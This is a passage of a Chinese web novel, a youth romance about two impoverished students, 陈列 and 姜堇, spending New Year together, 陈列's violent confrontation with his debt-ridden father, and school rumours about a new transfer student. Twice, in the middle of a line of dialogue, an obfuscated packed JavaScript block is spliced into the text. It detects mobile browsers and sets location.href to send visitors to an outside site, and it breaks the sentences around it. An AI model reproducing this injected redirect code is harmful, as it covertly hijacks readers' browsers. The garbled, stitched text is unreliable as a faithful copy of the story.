他家不在市里,在郊区。一方有些破败的小院,铁门早已生锈,他爸跑了,他也已离开,院里的荒草无人打理,渐渐已长得小腿那么高了。 一轮残阳如血,给这近乎荒蛮的植物镶一层金边。 陈列沉默站在院子里,看着铁门上、墙面上被泼的鲜红而刺目的红色油漆,“死”一类的字样格外触目惊心。 木门上贴着老式的挂历,印着泳装女郎,还是去年的,边角早已泛黄翘起。 陈列掏钥匙打开门进去,一种近似于发霉的灰尘味道。 一如他的生活。 - 第二天姜堇路过十一班走廊,仍听杜炳崐在那里喊:“列哥牛掰,真的牛掰!” 她望一眼教室里空荡荡的座椅。 心里那个奇怪的念头又涌了出来:如果陈列再也不回来的话,简直宛若那个似豹又似鹤的少年,从未在这里出现过一样。 下了晚自习,姜堇背着书包跑回河畔的时候。 船舱边的泥泞地里,立着那个高挑的身影。 姜堇一瞬间抿了抿唇,才发现自己对陈列身影的轮廓其实已看得那样熟了。 姜堇背着书包朝陈列走过去,唇角还紧抿着。 双眼要适应了黑暗,才感知到城中村的灯光遥远而昏淡地洒过来。陈列看一眼姜堇抿住的唇角,忽然想: 要是那些白柳絮牵着姜堇的手、在街道上反反复复走着的夜晚,白柳絮忽然放开姜堇的手再也不回来的话,姜堇脸上也许就会出现这样的神情。 倔强的、掩藏自己真实情绪的、像只被遗弃的小动物的。 陈列的心脏忽地软了下。姜堇一言不发地打开船舱门,陈列跟进去,姜堇在矮桌上铺开卷子,陈列把拎在手里的一个本子,无比随意地丢在桌面上。 姜堇瞥一眼,封面上写着:。 她把本子拿起来,翻开来,发现那是陈列以前的笔记。 准确地说,是陈列以前参加物理竞赛班的笔记。 那些知识点,几乎就是现下高三的姜堇遇到的难点。 姜堇抿着唇继续往后翻。直到现在她才肯对自己承认,在买发夹的那天遇到那个女生后,她的的确确是生气了。 她生气的原因在于,她自认为了解陈列,为两人相似的处境,为两人糟糕的经历。 她自认为了解这个颓丧的、沉默的、如同一只被囚的鹤的少年。 却在猝不及防间被告知,原来这样的颓丧只是陈列的一面。 在她未曾看见的地方,陈列曾是意气风发的少年。那时他的后颈还没习惯性“S”一样打弯,他是物理竞赛班的天纵英才,老师的宠儿,未来保送大学也不在话下,大好未来将在他面前徐徐铺展。 只是他终于被父亲的债压垮了。他逃了。 逃开大好未来,躲进泥里,从此变得沉默寡言。 姜堇翻着那本笔记,陈列拖着矮凳在她对面坐下,主动开口:“借你,应该有点用。” 姜堇问:“你为什么回家?” 为什么冒着被追债人发现的风险回家。 “为什么啊……”陈列用食指压着自己拇指的指节:“我也不知道。” “也许,”他想了想又说:“快过年了吧。” 姜堇抬起头看着陈列,他的寸头被昏茫的灯光拖拽着映照在船舱的木墙上,小狗一样毛茸茸的。 那也许是陈列第一次对姜堇袒露自己的内心。 原来这个过分沉默而颓靡的少年,并不如他所表现的那般封闭。每次跟姜堇一同去医院看白柳絮,是因为他从未拥有过自己的母亲。 快要过年了,他想家。 也会一瞬想起那个把整个家拖入绝境的、不成器的父亲。 “陈列。”姜堇轻轻地说:“一起过年吧。” - 陈列事后想过很久,他和姜堇走近的瞬间,到底是姜堇痛经那天、他看到姜堇后颈那颗浅棕色小痣的一瞬。 还是姜堇轻轻对他说“一起过年”的一瞬。 期末考结束,姜堇不出所料地拿下年级第一。 杜珉珉苦闷地在她面前敲自己的头:“你就好了,那么聪明,不费什么功夫就能拿第一。” 姜堇只是轻笑。 “哪像我!”杜珉珉说着忍不住跺脚:“明明考进前二十就能去马尔代夫,现在这二十一名的成绩是怎么回事啊!” 姜堇考了年级第一,可第一于她是没有奖励的。 只有她自己对自己感到满意。因为如她所说,没有人会记得第二名。 在她的世界里,第一是唯一的意义。 放假之前,杜珉珉一边收拾书包一边俏皮跟她说:“姜堇,春节快乐,恭喜发财,多拿红包。过年时指不定你在国外还是我在国外,这祝福还是提前说了的好。” 姜堇笑道:“你也是。” 陈列哪怕在家乡时也是不过年的。 年关年关,于其他人是“过年”,于他是“过关”。越到年前,追债的人越要堵上门来。 反倒是今年,姜堇在小小的船舱里贴满了“福”字,是姜堇自己剪的。 拳馆里也在过年前一天,请所有人吃了顿团圆饭。老板娘散出一个红包,陈列打开数了数,里面是五百块钱。 有卖酒女郎带着自己的男朋友一起来的,跟姐妹们说:“我辞职啦,明年就回老家结婚去了,开个美甲店。” “你就好啦。”其他卖酒女郎们不乏羡慕地说:“上岸了。” 姜堇在一旁举着酒杯,笑得合群,可那笑意并未达眼底。 陈列心想:唯有她,要的不是上岸。 她的未来在遥远彼岸,为此她不惜跳进更深的黑暗,憋着随时被溺毙的劲头狠命去游。 和其他正经公司的“年会”一样,这顿团年饭上老板娘也组织他们玩游戏。 其中一个游戏,是男女搭为一组,男生把女生抱起来,坚持的久则获胜。胜者可以获得一包水饺。 有人问:“就一包饺子啊?” 老板娘笑骂:“老娘亲手包的!不值钱啊?” 今晚来的情侣不够多,凑来凑去,玩游戏的人还差一组。 老板娘涂得殷红的指甲一拽陈列胳膊:“害什么臊啊,你和阿堇也来。” 陈列看一眼姜堇,正要拒绝的时候。 姜堇轻声说:“来吧。” 两人站到最边上。老板娘像模像样的买了个哨子,一声哨响,陈列把姜堇抱起来。 他以前在姜堇扭脚的时候背过姜堇,可抱和背是不一样的。 或者说,他现在的心态和背姜堇那时是不一样的。 那时是一种局促,可现在,又多了种说不清道不明的什么。姜堇软软在他怀里,腰也软,腿也软,细细的手腕软软勾着陈列的后颈。 陈列如同怀抱着一块豆腐,手简直不知该往哪里放才好。 “陈列。”姜堇在一旁山呼海啸的加油声里低低地叫他:“你不托着我一点,我的手会很累。” 陈列沉默着把姜堇抱紧了些。 姜堇窝在他怀里,再不说话了。陈列听不清旁边加油的人在喊些什么,变成遥远而模糊的音节,他只听见姜堇在他怀里轻轻的呼吸,带着幽香,和他自己的呼吸裹缠在一起。 直到又一声哨响,陈列恍然一瞬。 “陈列。”姜堇轻轻叫他:“你该放我下来了。我们赢了。” - 老板娘把那袋饺子递给姜堇时,笑着逗她:“赢了袋饺子这么高兴?” 姜堇也笑,仔细地把那袋饺子收起来。 将要跨过零点的时候,老板娘上台祝酒:“虚的不说,祝大家明年都发大财!” 陈列和姜堇混在人群里,有人拉响室内烟花,砰砰接连几声,漫天的纸屑雪一般簌簌而落,落满人的肩头发梢。 所有人都喝多了,老板娘在台上撒钱,还有理智撒的不是红钞,都是五块十块的小票面。有人去捡钱,有人拥抱,有人在疯狂接吻,有人在高唱“明天会更好”。 有人搡着陈列的肩:“列哥你装什么纯情啊!还不跟阿堇嘴儿一个!” 姜堇便是在这时凑过来。 陈列以为她听到那人的胡言乱语了,结果她凑近他耳畔,问的是:“如果我喝酒又扭脚了,你能把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473276|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我背回去吗?” 陈列:“你喝吧。” 姜堇端过两杯扎啤,递其中一杯给陈列:“十块钱再买你一秒钟的快乐,你要么?” 陈列沉默接过。 人挤人的逼仄室内近乎缺氧,冰凉啤酒落胃勾得人神经都一跳。老板娘在台上挥着钞票问:“还要不要?” 姜堇混在人群里跟其他人一起振臂:“要!” 她也许并非想要这小面值的钞票,只是鲜少有这般放纵的时刻。 陈列有那么一秒自大地想:也许,是因为他在。 至少在这段灰败的岁月里,他能为她托底。 他一口一口沉默喝着啤酒,刚才搡他肩那人又过来勾着他脖子问:“列哥,我喝多了没看到,你刚才和阿堇亲没亲啊?” 陈列没搭理他。 只是沉默望着姜堇,她穿着红裙在人群中跳,一只细细的手臂举起来挥舞,唇瓣上廉价的口红脱落了,因酒精泛起自然的嫣红,泛着酒液的水光。 看起来,像春日落尽松林间的一颗野生红樱桃。 陈列的一颗心,怦地重重跳了下,狠砸在心壁上。 - 姜堇没喝多。 走出拳馆的时候,她很清醒地问陈列:“明天一起煮饺子,然后去医院看我妈?” “嗯。” 陈列回到船舱,洗澡洗头。以前他觉得过年没什么所谓,现在又觉得过年还是该有过年的样子。 酒精倒是对他起了作用,躺在床上很快沉沉睡去。 他做梦了。 梦里姜堇走入一片密林,铺满了柔软的松针,姜堇赤着脚在里面捡野樱桃,脚腕细细的似一握便要折断。 随着她蹲下长发垂落,后颈那颗浅浅的、棕色的小痣露出来…… 陈列猛然醒来的时候,船舱外的天色将明未明,正值拂晓。 陈列掀开被子看一眼自己睡裤,骂一句脏话。 索性不睡了,爬起来把裤子给洗了。 他怎会做这样的梦? 时近中午,姜堇见他迟迟没露面,跑过来敲他的船舱门。 他开门,姜堇在门外系着围裙、一手举着只漏勺,微瞪着眼问他:“你在磨蹭什么?” 说完又举着漏勺匆匆跑了。 陈列锁了自己船舱的门,过去姜堇那边。姜堇举着漏勺是因为她在煮饺子,锅太小挥洒不开,饺子注定煮得皮连着皮,可姜堇系着围裙像模像样的。 陈列说:“我赌你不怎么会做菜。” 姜堇回头瞪他一眼。 又转回头背对着他说:“我妈也没怎么好好做过菜,年轻的时候心高气傲,后来又不知什么时候会被打,提心吊胆随时准备带着我逃。” 陈列问:“我做什么?” “你把姜切了?” “切姜末?” “嗯,待会儿放进蘸料里。” 陈列刀工并不比姜堇差。毕竟他摊上这么个爹,从小很多事都要自己来。 姜堇把煮好的饺子捞出来:“我们中午先吃,医院开放的探视时间是下午,我们再送饺子过去。” 她把饺子端上桌,又调好蘸料,把陈列切的姜末拌进去。 两人盘腿坐在矮桌边,姜堇一手握着筷子,另一手从桌下摸出个红包递给陈列:“春节快乐。” 陈列打开看了眼,是一张十块钱。 他问姜堇:“我该给你什么?” 姜堇挑起唇角:“你看着办。” 陈列放下筷子:“要不,现在别吃了。” “嗯?” “带去医院一起吃吧。” 姜堇淡淡笑了:“也好。” 她跟着放下筷子,找了只保温桶把饺子统统放进去。她打开一只略带锈迹的铁盒,里面是她提前买好的瓜子花生。 她各抓了一把放到矮桌上:“垫一垫。” 可陈列没伸手去拿。 姜堇自己摸了颗花生,也没立即吃掉,侧身坐到既当床又当沙发的木板上,把船窗撑开来,斜倚着身子往外望。 除夕这天并不晴朗,灰阴的天色使船似罩于雾中。 “好像要下雨。”姜堇说。 “嗯。”陈列盯着桌面。 姜堇把手里握了阵的那颗花生捏开,砰地一声,像一朵小型的烟花。姜堇也没吃,捻着红色的花生衣子把玩,望着窗外问:“你今天为什么不看我?” 陈列不应答。 姜堇侧坐着,拖鞋落在地上,细细的脚腕垂在陈列身侧。她袜子短,露出皮肤白皙的一线。 阴色如雾的水汽飘荡进来,漫延在沉默的两人之间。 姜堇把花生放进嘴里,站起来叫陈列:“我们去医院吧?” 陈列仍盯着桌面的木纹:“嗯。” 27. 过年 陈列今天的确躲着姜堇。他不对姜堇承认,自己心里却很清楚这一点。 他搞不清昨晚怎会做那样的梦。 身体又怎会起那样的反应。 他是理工科思维。他在心里想:到底是他到年纪以后正常的生理反应? 还是他对姜堇…… 他沉默着同姜堇走出船舱,拎着姜堇装满饺子的保温桶。这问题在他脑子里兜了个圈,还未来得及细想便被打断。 有一个声音唤他:“幺儿。” 先抬头的是姜堇。 陈列的身体好像自有一套防御机制。有任何人叫他的时候,他总是习惯性先垂眸盯着眼前,等浑身肌肉都应激般绷紧、随时可以进攻或奔逃时,他才抬起眼眸来。 姜堇看到不远处站着个中年男人。 这样冷的天气里他仍穿一件黑夹克,奇怪的装扮,但不妨碍他是个英俊的男人。鼻子略带些鹰钩,一双眼和陈列长得很像,只是气质迥然,带着瑟缩。 姜堇几乎瞬间认出来,那是陈列的父亲。 欠了一屁股赌债、一跑了之的父亲。 他望着陈列又唤了声:“幺儿。”接着又说:“过年了。” 姜堇看一眼陈列。那一瞬陈列的表情很复杂。 陈列刚到江城落脚时,想办法把自己的下落告知他爸,他爸没回他的消息。后来当他爸发信息管他要钱,他无比后悔透露自己的行踪。 可是当他爸站在他面前,像小时候一样叫他“幺儿”,然后说“过年了”。 那一刻陈列心情繁乱,想起自己莫名其妙坐了一整天的高铁回到家乡,去看那杂草丛生的小院。 他看着眼前的男人,一声“爸”卡在喉头。 男人便是在这时说:“你看,上次找你要的两万块钱,你想想办法……” 陈列抬起手背抵在唇边,低低地笑了一声。 几乎像是肺深处呛出的一声咳。 姜堇皱了下眉,已拔腿向男人走去:“喂,你……” 陈列在身后拉姜堇一把:“你别管。” 他那一下很重,心头压着的情绪不是冲姜堇,却拉得姜堇趔趄一下。他沉黑的双瞳看着姜堇:“你别管,先走。” 姜堇站着不动。 陈列在她背上一推:“走。” 姜堇这才往前迈步,路过男人身边时,男人一直眯着眼打量她,那是一种令姜堇很不舒服的眼神。陈列叫他一声:“陈占擂。” 他这才转而去看陈列。 陈列站在一片灰淡的天色中,直到姜堇的背影走远,他三两步跨到他爸面前,一拳重重朝他爸挥过去。 他粗粗地喘着气,甚至忘了自己另只手里还拎着姜堇给他的那个保温桶。 “你……你……”陈列胸口剧烈起伏着。 他甚至说不清这般愤怒是为他爸,还是为始终对他爸抱一丝幻想的他自己。 陈占擂一骨碌从地上爬起来,恼羞成怒擦一把嘴角的血,朝陈列扑过来:“儿子打老子?你是不是疯了?” 他狠命去拽陈列的衣领,陈列失去重心又被他接连推搡,手里保温桶的盖子掉落下去,洁白的饺子滚了满地,一个个沾了满身灰。 陈列这才意识到手里还拎着保温桶,后悔刚才忘了让姜堇把饺子带走。 他把保温桶扔到一边,跟陈占擂扭打在一起:“我就是疯了!” 父子俩这般算是撕开了最后的体面。陈列喉咙里发出低笑,一瞬理解了姜堇在路灯下咭咭苍凉的笑声。 原来人在这般情形下,真的只会笑。 他用尽力气把陈占擂摁在地上:“要是我妈还在,你……” 他高高扬起一只手,想要朝陈占擂劈头盖脸打下去。他想就这样结束吧,要是他母亲还在,他怎会像个感情上一无所有的乞丐一样,这么多年对他爸寄予虚妄的期待。 陈占擂却挣出双手死死扼住他手腕:“你提那臭娘们干嘛?你当她是什么比我好的东西?” 他不知哪来的力气,把比他壮许多的陈列推翻在地。掐住陈列的脖子,眼看着陈列涨红了脸,他自己双目也是血红:“你还当她好?嗯?” 两人皆是满身的灰尘泥土,如那些狼狈滚了满身灰的饺子。 他一把揪着陈列的衣领、拉陈列站起来:“跟我走!” 陈列被陈占擂拽着衣领、一路跌跌撞撞跟着他走。 过年户户在家团年,路上行人不多,偶有人拎着拜年的礼品路过,惊愕地看向两人。陈列完全不在意了,怀着股破罐子破摔的心情被拽着走。 他倒要看看,陈占擂能带他去看什么。 陈占擂还那样拽着他衣领、把他拽上一辆公交。 来回来去不知换了几路车,陈占擂几乎像要把陈列摔下车一般:“走!” 又拽住陈列的衣领拉他向前。 最终陈列跌跌撞撞被他拽到一座金碧辉煌的建筑门口。小楼三层楼高,墙面的金箔已剥脱灰败,赃污的玻璃墙面镶着“东方春天”四个连笔大字,昭显出此地曾想显出的辉煌。 “你那心心念念的妈,曾经就是这里的一个舞女!”陈占擂几乎癫狂笑着说:“要不是我意外搞大了她的肚子,我会跟她结婚?” “你以为她又为什么留下你?那时候她跟个山城的富豪鬼混,才跟我回了山城。那饭馆也是那富豪给她开的,她留着你不过假托是那富豪搞大了她肚子,逼他结婚而已!” “等那富豪彻底跟她撕破脸,她想去医院引产,检查了身体条件却不适合。那时她已经怀孕七个月了!她仍想杀了你!” 陈占擂近乎癫狂地叫喊着:“你还心心念念当她好呢?我告诉你!我们一家都是一路货色!你流着我俩的血,也不是什么好东西!我管你怎么赚的钱,赶紧拿出来给我还债……” 他又上钱来拽住陈列的衣领推搡。 这一次,陈列死死攥住他手腕。 他已十八岁了,比陈占擂壮出许多,陈占擂力量上一点不占便宜。可真正让陈占擂发怵的是陈列此时的眼神。 陈列一直在笑,喉管里咕咕的,可他眼神是完全意义上的沉冷,像一堆火燃烧殆尽后的余烬。 他攥着陈占擂的手腕冷冷看着,直到陈占擂嘴里不再敢骂骂咧咧也不敢再动弹。 他一把甩开陈占擂:“如果你以后还敢来找我……” 他这句话没说完,便倦怠似的一挥手,转身走了。 - 陈列一个人埋头走出两条街,才在一个公交站牌边停下来。 恍然回神的时候,眼神迷惘地望一眼空荡荡马路。 不知是除夕这天公交晚点,还是他已错过了无数辆公交。 他终于拔腿往前走去,觉得双腿沉甸甸的,抬头看天,才发现不知何时,一场冬雨已灰沉沉地落了下来。 他连裤子都被浇透,沉甸甸裹住双腿,脚似灌了铅。 陈列漫无目的在街道上游走,世界变成一片灰白的海洋,雨落得让人有窒息之感。 他渐渐不知自己身在何处。 这里不是他熟悉的家乡,他的家乡总有坡道起伏,参天的古树边是巨石垒出的墙,夏天绿意森然,蝉鸣声声,路边有人挑着扁担,卖自家种的西瓜。 他总幻想他妈还在的话,会牵着他的手走过那样的街道。 可现在他如丧家犬一般逃离了家乡,连曾经的幻想都被击得粉碎,变成荒唐的笑话。他不知走了多久,连小腿肚都在发胀。 他不知自己是在一路往前,还是不停兜圈。凭着最后理智想要回河畔,只有那艘破船也许还属于他,可这时他发现,自己已完全不辨方向了。 他茫然站在街道上张望,看见路边一家尚且开着的超市,便走了进去。 店里守着个年轻的姑娘,看上去应该在这里打工。一见陈列,露出恐惧神色。 陈列脑子里昏沉沉的,完全没意识到此刻浑身湿透的自己有多么人不人鬼不鬼。他甚至不知自己走进超市来买什么,目光落到柜台上的那一排打火机,才抽出一支来。 走出超市,他连走动一步的力气也没了,径直坐在了路沿上。 雨水汇成汩汩的细流,从他脚边的排水井盖流走。他摸出自己口袋里的烟,才发现被雨浇得透湿再也点不燃了。 他发现贴身有什么硬硬的东西,在硌着他的心脏。 手伸进去,掏出来,才想起自己贴身的口袋里、还装着亡母的一张旧照。 他又低低笑了声,擦燃火机、对准那照片一角。 雨却实在太大了,整个世界不辨天日。他第一下没擦燃,火石又擦了两下、三下,发出咔咔的声音,蓝色火苗终于燃起来的时候,他烧了那张照片。 拎着那张照片一角,他茫然盯着逐渐腾起的火苗,脑子里琢磨着自己待会儿该怎么回去。 这时,漫天的雨里出现了一个单薄的身影。 陈列迷惘地抬起头去。 那一刻他几乎以为自己发烧了,出现了“卖火柴的小女孩”一般的幻觉。 因为姜堇站在那里。 姜堇沉默地站在雨里看他烧完了那张照片,才向他走过来。 他哑着嗓音问:“你怎么在这?” “我在找你。”姜堇的声音穿透雨幕:“你一直没回来,我不知道你手机号。我走了很多条街,在找你。” 陈列勾唇笑了下。 这是燃起火柴一瞬涌现的幻觉也好罢,他情愿同这幻觉对话。 “对不起啊。”他絮絮地说:“那桶饺子被我打翻了,吃不成了。你去医院看过你妈了吗?今天过年,你们吃的什么……” 姜堇上前一步,一手绕过他后颈。 在他茫然还未回神的时候,姜堇细瘦的手腕向前一带,把他的头揽入了自己怀里。 姜堇说:“陈列,你真可怜,原来从来没有人爱你。” 那一瞬陈列心里涌起本能的恐惧,十分害怕姜堇安慰他。 可是姜堇再没说一句话了,只是在漫天的、冰冷的、好似没有尽头的雨里揽抱着他的头。 那是一个保护的姿势。 - 新学期开学,陈列远远便在走廊里瞧见叶炳崐,扬着手臂冲他挥舞:“列哥!” 又冲过来勾他的脖子:“你看我有什么变化。” 陈列把他从自己身上往下摘。 他一挑眉:“我染眉毛了!” 陈列:“秦筱婷喜欢无眉道长?” 叶炳崐哈哈干笑两声,这时走廊里几个女生挽着手哒哒跑过来,叶炳崐赶紧拽着陈列侧身往边上一让:“你们一个寒假没见列哥也不必激动成这样……” 却见那些女生不停步地擦身而过。 叶炳崐一脸懵:“她们不是来看你的啊,列哥?” 进了教室才听女生们议论,一班、校草什么的。陈列随手拽了一个女生:“什么情况?什么校草?” “叶炳崐你手怎么那么欠呢!”女生毫不犹豫朝叶炳崐手背打过来:“怎么你们不知道吗?一班新来了个转校生……” 说着双手一捧面颊:“好帅!” “瞧你那花痴的样子。”叶炳崐一脸不屑:“有我们列哥帅吗?” “不一样的类型。”女生继续星星眼:“那个词叫什么来着,清什么,就是挺复杂那个字……” “隽!我都知道那个字读隽!”叶炳崐忍无可忍地冲她吼,又对陈列表白: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478456|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “列哥你放心,你在我心中永远是最帅的,我只认你这个哥……” 女生笑得肩直晃:“搞什么,你爱上列哥了啊?” 一班则不像十一班这么闹腾。 一个班级就像一个小社会,同一“阶级”的三五成群,各自讲述着寒假的奢侈见闻,或许又能为在圈层里的排序添砖加瓦。 唯独姜堇静静坐着,理着面前的课本。 “姜堇姜堇。”杜珉珉cue到她:“你今年过年有没有去LA看外婆?” 姜堇理着书籍的手顿一顿。 想到除夕那日、她从医院看完白柳絮回来,在河畔的泥泞地里看到那些散落一地的饺子,个个滚了一身灰,狼狈得不成样子。 一如她与陈列的生活。 她笑一笑刚要答话,教导主任背着手在教室门口喊她:“姜堇。” 一教室的人立刻噤声。 姜堇走出去。 就连教导主任这么严厉的人看见她都柔和了几分神色,问她:“稿子写好了吗?” 姜堇点头。 这是高考前的最后一个学期了,开学这天,高三全体学生要开高考动员会。姜堇作为上学期期末考的第一名,自然要发言。 不一会儿,班主任走进教室,号召大家去礼堂集合。 姜堇方才已跟着教导主任先走了,此时在后台候场。她捧着一本英语书在看,额前柔软的碎发垂下来,又被她勾回耳后。 直到教导主任领着个男生走进来。 姜堇抬眸。教导主任先前已跟她打过招呼了,今天动员会上发言的新增一人,便是一班新来的转校生,名叫周维笙。 高考前最后一学期转学其实是种傲慢的表现,但他履历实在漂亮,也不张扬。非常典型的冷白皮,清瘦,翻书时让人注意到他细长的手指、和手腕上流畅凸起的一块尺骨。 他走进教室来的时候,姜堇一只耳朵听见语文课代表悄声议论:“让人想起一句古诗。” “什么?”同桌问。 “秋清宁风日,楚思浩云水。” 两人在教室里互相没打过招呼。此时教导主任替他们介绍:“这是姜堇。这是周维笙。” 姜堇点点头。 男生也冲她点点头:“你好。” 教导主任便先离开了,留他俩在后台复习稿子。姜堇没什么可复习的,稿子是她自己写的,翻来覆去无非那么几句话,早已烂熟。 她低头继续看书,校服口袋里的手机震一下。 还未正式开学这天不至于没收手机。姜堇掏出来看一眼,是杜珉珉发来微信:[姜小堇,我上厕所的时候是不是把耳机给你揣着了?] 姜堇一摸校服口袋,还真是。 杜珉珉又问:[教导主任走了没?走了的话我过来拿。] 姜堇便让她过来。 杜珉珉贼头贼脑地溜来后台,刚要唤姜堇,看到角落里坐着看书的周维笙,脚步明显顿滞一下。 也不往里进了,扒在门口唤姜堇:“呲呲~” 姜堇笑着向她走来,把耳机递她。 她拉住姜堇的手,压出气声:“你怎么没跟我说周维笙也在啊?” “嗯?”姜堇:“喔,他待会儿也要发言。” “是不是很帅?”杜珉珉小碎步地跺两下脚。 姜堇浅一勾唇:“还好吧。” “这都叫还好?”杜珉珉用气声惊呼:“那什么样的你才觉得帅?” 姜堇仍带着那股若有似无的笑意,不说话了。 杜珉珉溜走以后,姜堇回到自己座位拿起英语书。 “你在看什么?” 姜堇反应过来,是坐另一端的周维笙在同她说话,便抬起头来,眼眸清亮:“《TenderistheNight》。” 她的发音实在漂亮,标准缱绻的英音。 周维笙淡地一笑,向她亮出自己在读的书本封面——也是菲茨杰拉德的那本《夜色温柔》。 并且巧合的是,他们选择了同一出版社的同一封面。 周维笙问姜堇:“刚刚在教室听说,你在LA过春节?巧的很,我也在那。” 便是在这时,教导主任领着两个男生走进来。 姜堇眼神投过去。 不知为何,她比眼神先一步得知来的是陈列。也许从他的步调,也许从他的气场。 陈列总想藏进尘埃里,可他却是任何场合都不会被忽视的那种存在。气场凌厉地割伤空气,而他只需要站在那里,寸发和瞳色是一种纯粹的黑。 姜堇看他一眼。他的眼神始终回避开姜堇。 教导主任在训他旁边嬉皮笑脸的叶炳崐:“坐不住是吧?屁股长刺是吧?坐不住就来给我打扫后台!” 他气呼呼走了,留下叶炳崐拎起扫帚也没个正形,抛一把给陈列:“列哥你可别怪我死活拽着你,有难同当嘛。” 哼着网络神曲开始挥扫帚,不算扫地,玩似的,对房间里两个优等生视若无睹。 姜堇这时才回答周维笙:“嗯,是去了LA过春节。” 周维笙问:“感觉怎么样?我最怕金龙游行,每年却都被妈妈和姑母拎着去看。” 陈列握着扫帚、垂眸望着眼前一小块地板。 其实这里没什么灰,比饺子滚落一地的河畔干净多了。 姜堇浅笑一下:“我也怕金龙。不过LosAngelesFlowerDistrict真不错,我外婆喜欢植物,每年全家人陪老人家去逛,那里的兰花特别新鲜。” 姜堇看着陈列握着扫帚背对着她,这时直了直腰。 因为她轻悠的语气,好似她真正去LA过了个顶不错的新年一样。 28. 风言风语 动员会开始前,陈列和叶炳崐回到十一班的座位。 所有人这才知道,动员会上发言的学生代表除了姜堇,又多一个周维笙。 女生惊喜,男生不屑。 有女生半是迟疑地议论:“你们有没有觉得,他俩还……挺配的?” 叶炳崐立马泼冷水:“谁会看上老师的走狗啊?一封情书过去,立马被她交老师好不好?” 陈列放学回家,今天不上晚自习,傍晚时他在船舱里煮面,姜堇来敲船舱的门。 他去开门,姜堇也不进来,站在门口背着手瞧他。 他半垂着睫,看上去一丝懒散,因为显出少许的不耐烦:“什么事?” “你生气了?”姜堇仍是瞧着他。 他直到这时抬起眼眸,黑沉的双瞳看进姜堇眼底:“我为什么生气?” 姜堇与他对视,不知为何她好似从来不怕他。直到姜堇轻摇一摇头,说一句:“没什么。” 转身走了。 开学不过半个月,学校里开始传出风言风语。 说周维笙在追姜堇。 叶炳崐跟人议论这事的时候,瞥一眼坐在旁边的陈列:“列哥你便秘?” 陈列:“……” “你脸挺臭的你知道么?”叶炳崐问:“怎么了?” 陈列毫不犹豫地答:“没怎么。” 陈列晚上去拳馆打拳的时候,一个新来的卖酒女郎问他:“能帮个忙么?” 女郎里也有阶级、也欺生。去年那个卖酒女郎随男友回老家结婚去了,新来的这个叫安群,在一晚的营业结束后,负责把几个硕大的扎啤桶收进库房归位。 一个女生确实不可能搬得动这些。也不知当年姜堇初来乍到时,一个人是怎么应付的。 陈列分明脸很臭,不知安群如何挑中他帮忙。 陈列压一压下巴,算是沉默地答应了。 他罩着件毛衫,早已洗得有些变形,贴着他一身流畅的肌肉线条。他把扎啤桶搬入库房,安群连声道谢。 陈列只是挥了下手,转身时,蓦地看见姜堇倚在墙边。 无论哪个季节她都穿轻薄的艳红短裙,似在她身上灼灼燃烧的一团火。她身上不为人知的狠劲与倔强是那火焰的养分,她滋养火,火点燃她,让她如早开的玫瑰绽放出甚至奇异的光彩。 那是一种令人惊惧的美,让人担忧她就这样开到极盛,不知何时便会片片凋零。 她脸上化着浓妆,双眼旁的烟熏黑衬着过分浓艳的双唇,头靠着墙,过分浓密的乌发顺着侧颊垂落,挂一丝在她睫毛上。她抱着双臂远远地望过来,那依然是一种不探究、不好奇、不审视的眼神,脸上无甚笑意。 陈列望着她,微动一动唇。 在陈列或是安群开口说话以前,她转身走了。 有那么一两次,陈列在学校里看到姜堇与周维笙并肩。 那时的姜堇穿校服,扎马尾,素白的一张脸干净纯雅。 周维笙的身世渐渐浮出水面,真正不可说的家庭,随父亲工作调动转来江城一中,不打算参加国内高考,目标是藤校。 他很少同女生讲话,清隽内敛。唯独偶尔打交道的是姜堇,一起去广播站,或者从老师办公室出来。 有女生猜测:“你们说周维笙到底是不是喜欢姜堇?” 叶炳崐嫌弃得很:“你们真对老师的走狗感兴趣?” “不是啊。”女生道:“我也不喜欢姜堇,觉得她很装。可你必须要承认她长得好吧?两个人长成那样,家境又好,走在一起真的很偶像剧,追这种现实版的不比追剧过瘾?” 陈列惯常的沉默。 姜堇着实聪明,拿到陈列那本笔记,在她最不擅的物理上也有了突飞猛进。只她偶尔不懂的时候,陈列会去她船舱给她讲一讲题。 天渐渐热了,春意不再料峭。姜堇不再烧热水,改买了些陈列喜欢的可口可乐。 少年仰头把可乐灌入的时候,颈线拉长,锋利的喉节一滚。 姜堇晃一晃笔杆,瞥陈列一眼。 自打陈列做过关于姜堇的那个梦后,便十分注意回避与姜堇的身体接触。 周日下午,他走进小超市去买烟。姜堇素来趴在玻璃柜台上做卷子,见陈列进来,也不问他要什么,照他的习惯拿一包红旗渠放到柜台上。 自打姜堇是陈列“女朋友”的名号从拳馆传出后,陈列来买烟时,会刻意同姜堇多聊几句。 小超市的老板、那肥腻的中年男人撞见过几次,也不怎么骚扰姜堇了。 只是传出周维笙追姜堇的消息后。 陈列再到小超市买烟时,再不同姜堇讲一句话。 他垂着眼也不看姜堇,掏出手机扫码付款,拿了烟走出去。 姜堇抬眸。小超市门边凌乱堆放着方便面口香糖甚至byt的各种纸箱,发黄的塑料门帘垂下来,挡住陈列一半的身影。 陈列站在垃圾桶边扯开塑料包装,抽出一根烟来衔进嘴里,抬手擦燃火机时勾着后颈,后脑与天边挂的半轮残阳叠化在一起。 天边群鸟飞过,少年锋利孤孑。 这时一个身影走入,姜堇收回视线。 来的是安群。 